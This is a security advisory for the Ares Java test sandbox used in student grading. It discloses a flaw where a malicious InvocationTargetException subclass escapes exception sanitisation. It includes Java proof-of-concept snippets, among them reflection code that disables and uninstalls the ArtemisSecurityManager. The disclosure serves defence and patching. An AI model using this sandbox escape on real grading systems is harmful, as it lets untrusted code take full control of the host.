GHSA-883x-6fch-6wjx Trust Boundary Violation due to Incomplete Blacklist in Test Failure Processing in Ares

• Maven de.tum.in.ase:artemis-java-test-sandbox: < 1.7.6 → fixed in 1.7.6

Impact This allows an attacker to create special subclasses of `InvocationTargetException` that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system. Patches Update to version `1.7.6` or later. Workarounds Forbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371 References _Are there any links users can visit to find out more?_ Not that I know of. For more information If you have any questions or comments about this advisory: • Open an issue in https://github.com/ls1intum/Ares/issues • Email us, see https://github.com/ls1intum/Ares/security/policy Detailed description Using generics, it is possible to throw checked exceptions without a `throws` clause: ThrowWithoutThrowsHelper ```java public class ThrowWithoutThrowsHelper { private final X throwable; private ThrowWithoutThrowsHelper(X throwable) { this.throwable = throwable; } private R throwWithThrows() throws X { throw throwable; } public static R throwWithoutThrows(Throwable throwable) { ThrowWithoutThrowsHelper helper = new ThrowWithoutThrowsHelper(throwable); @SuppressWarnings("unchecked") ThrowWithoutThrowsHelper helperCasted = (ThrowWithoutThrowsHelper) helper; return helperCasted.throwWithThrows(); } } ``` Using this, it is possible for a malicious testee to throw an instance of a malicious subclass of `InvocationTargetException` (let's call it `EvilInvocationTargetException`). This exception is catched by `org.junit.platform.commons.util.ReflectionUtils::invokeMethod`, which looks like this: ReflectionUtils::invokeMethod ```java public static Object invokeMethod(Method method, Object target, Object... args) { Preconditions.notNull(method, "Method must not be null"); Preconditions.condition((target != null || isStatic(method)), () -> String.format("Cannot invoke non-static method [%s] on a null target.", method.toGenericString())); try { return makeAccessible(method).invoke(target, args); } catch (Throwable t) { throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t)); } } ``` This method calls `getUnderlyingCause` (of the same class), passing to it the catched, malicious exception as an argument. ReflectionUtils::getUnderlyingCause ```java private static Throwable getUnderlyingCause(Throwable t) { if (t instanceof InvocationTargetException) { return getUnderlyingCause(((InvocationTargetException) t).getTargetException()); } return t; } ``` `getUnderlyingCause` in turn checks if the passed exception is `instanceof InvocationTargetException`, and if so, calls `getTargetException` on it. `getTargetException` can be overridden by subclasses of `InvocationTargetException`, like the `EvilInvocationTargetException`. If `EvilInvocationTargetException` is in a whitelisted package (for example `de.tum.in.test.api.security.notsealedsubpackage`), `getTargetException` will be called with the entire stack containing only whitelisted frames. This allows the attacker to uninstall the `ArtemisSecurityManager` in `EvilInvocationTargetException::getTargetException`: Uninstalling ArtemisSecurityManager ```java SecurityManager secman = System.getSecurityManager(); Class aresSecmanClass = secman.getClass(); Field isPartlyDisabledF = aresSecmanClass.getDeclaredField("isPartlyDisabled"); isPartlyDisabledF.setAccessible(true); isPartlyDisabledF.set(secman, true); System.setSecurityManager(null); ``` After uninstalling `ArtemisSecurityManager`, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.